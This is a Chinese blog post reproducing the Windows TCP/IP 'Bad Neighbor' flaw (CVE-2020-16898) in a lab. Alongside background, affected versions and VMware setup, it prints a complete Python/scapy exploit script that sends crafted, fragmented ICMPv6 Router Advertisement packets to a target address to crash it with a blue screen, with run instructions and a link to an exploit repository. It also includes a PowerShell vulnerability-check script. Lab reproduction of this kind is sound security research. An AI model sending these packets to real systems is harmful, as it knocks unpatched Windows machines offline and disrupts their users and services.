【复现】CVE-2020-16898 TCP/IP远程代码执行漏洞

EXP/POC看文末

1|0简述:

CVE-2020-16898,又称“Bad Neighbor”

Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

漏洞描述

当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值

具体可看:原理简述

2|0受影响版本

  • Windows 10 Version 1709 for 32-bit Systems
  • Windows 10 Version 1709 for ARM64-based Systems
  • Windows 10 Version 1709 for x64-based Systems
  • Windows 10 Version 1803 for 32-bit Systems
  • Windows 10 Version 1803 for ARM64-based Systems
  • Windows 10 Version 1803 for x64-based Systems
  • Windows 10 Version 1809 for 32-bit Systems
  • Windows 10 Version 1809 for ARM64-based Systems
  • Windows 10 Version 1809 for x64-based Systems
  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 2004 for 32-bit Systems
  • Windows 10 Version 2004 for ARM64-based Systems
  • Windows 10 Version 2004 for x64-based Systems
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)
  • Windows Server, version 2004 (Server Core installation)

3|0一.环境

网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。

选取一个受影响版本的windows10镜像,安装在虚拟机里。

打开IPv6地址。

4|0二、利用思路

1.利用条件

  1. 基本条件
    • attacker需要获取target的IPv6和MAC地址
  2. 触发过程
    • attacker需要搭配其他内存泄漏或信息泄漏漏洞来实现RCE
    • attacker需要想办法绕过tcpip.sys的GS保护机制

2. 利用过程

attacker直接发送特制的ICMPv6路由广播数据包给target:

[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]

3. 攻击向量

建立连接后,利用IPv6直接发送攻击数据包即可。

5|0三、复现

5|1exp-1

1.执行ipconfig,查看IPv6地址:

2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信

执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

4.攻击机中python为3.7+ ,并且安装了scapy

5.漏洞利用

这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

CVE-2020-16898-exp1.py:

from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103" #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址 v6_src = "fe80::501a:49b7:b7d:5362%12" #攻击者的本地ipv6地址 p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18" p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)

执行:

python3 CVE-2020-16898-exp1.py

执行这个脚本,可以看到虚拟机被打蓝屏了。如下:

可以wirkshark选择对应的虚拟网卡进行抓包查看

大概如下(我的wirkshark有点问题,套用大佬的截图):

目测红框下的Router Advertisement是最核心的包,

5|2exp-2

条件:能和目标通信,知道目标的本地链接IPv6地址

使用

修改代码中的dst参数为目标的本地链接IPv6地址 然后攻击机执行 python3 CVE-2020-16898-exp2.py即可

6|0四、poc检测

在github上找了个powershell脚本,可以检测windows10是否存在这个漏洞,大体看了下是基于版本和配置检测的,用powershell获取配置,如果开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个漏洞。

Clear $interfaces = (Get-NetIPInterface | where {$_.AddressFamily -eq "IPv6"}).ifIndex foreach ($interface in $interfaces) { [bool]$vuln = $false $output = netsh int ipv6 sh interfaces interface=$interface foreach ($Line in $output) { if($Line.Contains("6106") -and $Line.Contains("enabled")) { [bool]$vuln = $true } } $NetIPInterfaceAlias = ((Get-NetIPAddress -InterfaceIndex $interface | Select-Object InterfaceAlias)[0]).InterfaceAlias if ($vuln) { Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Red } else { Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Not Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Green } }

执行:

> Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1

7|0五、修复

https://zhuanlan.zhihu.com/p/265755647

https://bbs.pediy.com/thread-262707.htm#msg_header_h3_10

EXP&POC下载及使用方法:https://github.com/komomon/CVE-2020-16898--EXP-POC

参考:https://blog.csdn.net/hsj_csdn/article/details/109138162


__EOF__

本文作者komomon
本文链接https://www.cnblogs.com/forforever/p/13846077.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   komomon  阅读(6799)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示